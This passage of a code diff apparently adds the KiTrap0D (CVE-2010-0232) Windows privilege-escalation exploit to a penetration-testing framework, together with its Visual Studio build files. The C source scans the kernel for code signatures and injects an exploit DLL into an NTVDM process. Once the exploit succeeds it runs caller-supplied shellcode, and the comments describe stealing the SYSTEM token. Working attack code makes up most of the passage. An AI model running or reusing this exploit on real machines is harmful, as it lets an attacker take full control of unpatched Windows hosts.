BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Determine kernel version so that the correct code signature is used
|
||||||
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||||
|
if (!GetVersionEx(&os)) {
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
|
||||||
|
|
||||||
|
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
|
||||||
|
Version = MICROSOFT_WINDOWS_NT4;
|
||||||
|
}
|
||||||
|
if (os.dwMajorVersion == 5) {
|
||||||
|
if (os.dwMinorVersion == 0) {
|
||||||
|
Version = MICROSOFT_WINDOWS_2000;
|
||||||
|
}
|
||||||
|
if (os.dwMinorVersion == 1) {
|
||||||
|
Version = MICROSOFT_WINDOWS_XP;
|
||||||
|
}
|
||||||
|
if (os.dwMinorVersion == 2) {
|
||||||
|
Version = MICROSOFT_WINDOWS_2003;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (os.dwMajorVersion == 6) {
|
||||||
|
if (os.dwMinorVersion == 0) {
|
||||||
|
Version = MICROSOFT_WINDOWS_VISTA;
|
||||||
|
}
|
||||||
|
if (os.dwMinorVersion == 0) {
|
||||||
|
Version = MICROSOFT_WINDOWS_2008;
|
||||||
|
}
|
||||||
|
if (os.dwMinorVersion == 1) {
|
||||||
|
Version = MICROSOFT_WINDOWS_7;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||||
|
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL);
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base);
|
||||||
|
|
||||||
|
// Load the kernel image specified
|
||||||
|
hKernel = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1);
|
||||||
|
if (!hKernel) {
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse image headers
|
||||||
|
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
|
||||||
|
ImageBase = (PBYTE)hKernel;
|
||||||
|
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||||
|
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||||
|
OptHeader = &PeHeader->OptionalHeader;
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version);
|
||||||
|
|
||||||
|
for (x = 0;; x++)
|
||||||
|
{
|
||||||
|
if (CodeSignatures[x].Version == -1) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CodeSignatures[x].Version != Version) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x);
|
||||||
|
|
||||||
|
// Scan for the appropriate signature...
|
||||||
|
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++)
|
||||||
|
{
|
||||||
|
if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0)
|
||||||
|
{
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i);
|
||||||
|
|
||||||
|
*OffsetFromBase = i;
|
||||||
|
|
||||||
|
FreeLibrary(hKernel);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel");
|
||||||
|
|
||||||
|
if (hKernel) {
|
||||||
|
FreeLibrary(hKernel);
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Grab a useful Handle to NTVDM.
|
||||||
|
* @param cpProgram Path to the program to invoke.
|
||||||
|
* @param hProcess Pointer to the variable that will receive the process handle.
|
||||||
|
* @retval TRUE Handle acquisition succeeded.
|
||||||
|
* @retval TRUE Handle acquisition failed.
|
||||||
|
*/
|
||||||
|
BOOL kitrap0d_spawn_ntvdm(char * cpProgram, HANDLE * hProcess)
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
STARTUPINFO si = { 0 };
|
||||||
|
ULONG i = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
si.cb = sizeof(STARTUPINFO);
|
||||||
|
|
||||||
|
// Start the child process, which should invoke NTVDM...
|
||||||
|
if (!CreateProcess(cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId);
|
||||||
|
|
||||||
|
// Get more access
|
||||||
|
*hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId);
|
||||||
|
if (*hProcess == NULL)
|
||||||
|
{
|
||||||
|
TerminateProcess(pi.hProcess, 'SPWN');
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess);
|
||||||
|
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (dwResult == ERROR_SUCCESS) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Find a suitable exe to host the exploit in.
|
||||||
|
* @param cpOutput Buffer that will contain the path to the executable which will
|
||||||
|
* host the exploit.
|
||||||
|
* @param dwOutputSize Size of the \c cpOutput buffer.
|
||||||
|
* @retval TRUE Found a valid exe to host the exploit in.
|
||||||
|
* @retval FALSE Unable to find a valid exe to host the exploit in.
|
||||||
|
*/
|
||||||
|
BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
char cWinDir[MAX_PATH] = {0};
|
||||||
|
DWORD dwIndex = 0;
|
||||||
|
char * cpFiles[] = { "twunk_16.exe",
|
||||||
|
"debug.exe",
|
||||||
|
"system32\\debug.exe",
|
||||||
|
NULL };
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
|
||||||
|
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
|
||||||
|
|
||||||
|
while( TRUE )
|
||||||
|
{
|
||||||
|
char * cpFileName = cpFiles[dwIndex];
|
||||||
|
if( !cpFileName )
|
||||||
|
break;
|
||||||
|
|
||||||
|
if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
|
||||||
|
cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
|
||||||
|
{
|
||||||
|
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
|
||||||
|
|
||||||
|
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
memset( cpOutput, 0, dwOutputSize );
|
||||||
|
|
||||||
|
dwIndex++;
|
||||||
|
}
|
||||||
|
|
||||||
|
} while(0);
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Helper thread function which runs the given payload directly.
|
||||||
|
* @param lpPayload The payload shellcode to execute.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
|
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
dprintf("[KITRAP0D] Payload thread started.");
|
||||||
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||||
|
lpCode();
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @breif Entry point for the KiTrap0D exploit.
|
||||||
|
* @remark This is known as CVE-2010-0232.
|
||||||
|
* @param hElevateModule Handle to the DLL which contains the kitrap0d_payload DLL.
|
||||||
|
* @param lpPayload Pointer to the shellcode to run on successful exploitation.
|
||||||
|
* @returns Indication of success or failure.
|
||||||
|
* @retval ERROR_SUCCESS The exploit worked as expected.
|
||||||
|
* @retval ERROR_NOT_SUPPORTED The exploit is not supported on this platform.
|
||||||
|
*/
|
||||||
|
DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule, LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
DWORD dwResult = ERROR_SUCCESS;
|
||||||
|
HANDLE hVdm = NULL;
|
||||||
|
HANDLE hThread = NULL;
|
||||||
|
LPVOID lpServiceBuffer = NULL;
|
||||||
|
LPVOID lpRemoteCommandLine = NULL;
|
||||||
|
char cWinDir[MAX_PATH] = { 0 };
|
||||||
|
char cVdmPath[MAX_PATH] = { 0 };
|
||||||
|
char cCommandLine[MAX_PATH] = { 0 };
|
||||||
|
DWORD dwExitCode = 0;
|
||||||
|
DWORD dwKernelBase = 0;
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
DWORD dwServiceLength = 0;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);
|
||||||
|
|
||||||
|
if (lpPayload == NULL) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] payload argument not specified", ERROR_BAD_ARGUMENTS);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!dwServiceLength || !lpServiceBuffer) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. first get a file path to a suitable exe...
|
||||||
|
if (!elevate_via_exploit_getpath(cVdmPath, MAX_PATH)) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Scan kernel image for the required code sequence, and find the base address...
|
||||||
|
if (!kitrap0d_scan_kernel(&dwKernelBase, &dwOffset)) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
|
||||||
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable");
|
||||||
|
|
||||||
|
if (!kitrap0d_spawn_ntvdm(cVdmPath, &hVdm)) {
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
|
||||||
|
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
|
||||||
|
_snprintf_s(cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset);
|
||||||
|
|
||||||
|
// alloc some space and write the commandline which we will pass to the injected dll...
|
||||||
|
lpRemoteCommandLine = VirtualAllocEx(hVdm, NULL, strlen(cCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
|
||||||
|
if (!lpRemoteCommandLine) {
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!WriteProcessMemory(hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine) + 1, NULL)) {
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
// inject the dll...
|
||||||
|
hThread = LoadRemoteLibraryR(hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine);
|
||||||
|
if (!hThread) {
|
||||||
|
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 5. Wait for the thread to complete
|
||||||
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread);
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
|
||||||
|
// pass some information back via the exit code to indicate what happened.
|
||||||
|
GetExitCodeThread(hThread, &dwExitCode);
|
||||||
|
|
||||||
|
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode);
|
||||||
|
|
||||||
|
switch (dwExitCode)
|
||||||
|
{
|
||||||
|
case 'VTIB':
|
||||||
|
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
|
||||||
|
// matches what the kernel expects.
|
||||||
|
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode);
|
||||||
|
case 'NTAV':
|
||||||
|
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||||
|
// expects to be present.
|
||||||
|
// The exploit thread reports it didn't work.
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode);
|
||||||
|
case 'VDMC':
|
||||||
|
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||||
|
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||||
|
// it's failing.
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode);
|
||||||
|
case 'LPID':
|
||||||
|
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||||
|
// unprivileged process owned by you.
|
||||||
|
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode);
|
||||||
|
case FALSE:
|
||||||
|
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||||
|
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode);
|
||||||
|
case 'w00t':
|
||||||
|
// This means the exploit payload was executed at ring0 and succeeded.
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS);
|
||||||
|
default:
|
||||||
|
// Unknown error. Sorry, you're on your own.
|
||||||
|
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode);
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (hVdm)
|
||||||
|
{
|
||||||
|
TerminateProcess(hVdm, 0);
|
||||||
|
CloseHandle(hVdm);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hThread)
|
||||||
|
{
|
||||||
|
CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
|
||||||
|
// if we succeeded, we need to run our payload in another thread.
|
||||||
|
if (dwResult == ERROR_SUCCESS) {
|
||||||
|
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
return dwResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*!
|
||||||
|
* @brief Entry point to the exploit DLL.
|
||||||
|
* @param hinstDLL Reference to the DLL's module.
|
||||||
|
* @param dwReason The reason code for the invocation.
|
||||||
|
* @param lpReserved A reserved value, used by the exploit code.
|
||||||
|
* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
|
||||||
|
* @returns \c TRUE all the time.
|
||||||
|
* @remark The \c lpReserved value contains a number which identifies which
|
||||||
|
* exploit to invoke. This needs to be passed in from MSF, otherwise
|
||||||
|
* no exploit funtionality will be invoked.
|
||||||
|
*/
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
DWORD dwExploit = 0;
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
|
||||||
|
switch (dwReason)
|
||||||
|
{
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
elevate_via_exploit_kitrap0d(hinstDLL, lpReserved);
|
||||||
|
break;
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if (lpReserved != NULL) {
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
Binary file not shown.
|
@ -0,0 +1,145 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{6B678096-E18A-427A-A8A3-C268AD2E12B8}</ProjectGuid>
|
||||||
|
<RootNamespace>kitrap0d</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<PlatformToolset>v120_xp</PlatformToolset>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||||
|
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<GenerateManifest>false</GenerateManifest>
|
||||||
|
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||||
|
<CodeAnalysisRules />
|
||||||
|
<CodeAnalysisRuleAssemblies />
|
||||||
|
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
<ResourceCompile>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||||
|
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<StringPooling>true</StringPooling>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||||
|
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||||
|
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||||
|
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||||
|
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||||
|
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||||
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||||
|
<GenerateMapFile>true</GenerateMapFile>
|
||||||
|
<MapFileName>$(OutDir)\kitrap0d.map</MapFileName>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>
|
||||||
|
</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>
|
||||||
|
</EnableCOMDATFolding>
|
||||||
|
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||||
|
<DataExecutionPrevention>
|
||||||
|
</DataExecutionPrevention>
|
||||||
|
<ImportLibrary>$(OutDir)\kitrap0d.lib</ImportLibrary>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
<Profile>false</Profile>
|
||||||
|
<ModuleDefinitionFile>
|
||||||
|
</ModuleDefinitionFile>
|
||||||
|
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\common\LoadLibraryR.c" />
|
||||||
|
<ClCompile Include="..\common\ResourceLoader.c" />
|
||||||
|
<ClCompile Include="kitrap0d.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\common.h" />
|
||||||
|
<ClInclude Include="..\common\LoadLibraryR.h" />
|
||||||
|
<ClInclude Include="..\common\ResourceLoader.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="kitrap0d.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,32 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="kitrap0d.c" />
|
||||||
|
<ClCompile Include="..\common\LoadLibraryR.c">
|
||||||
|
<Filter>common</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="..\common\ResourceLoader.c">
|
||||||
|
<Filter>common</Filter>
|
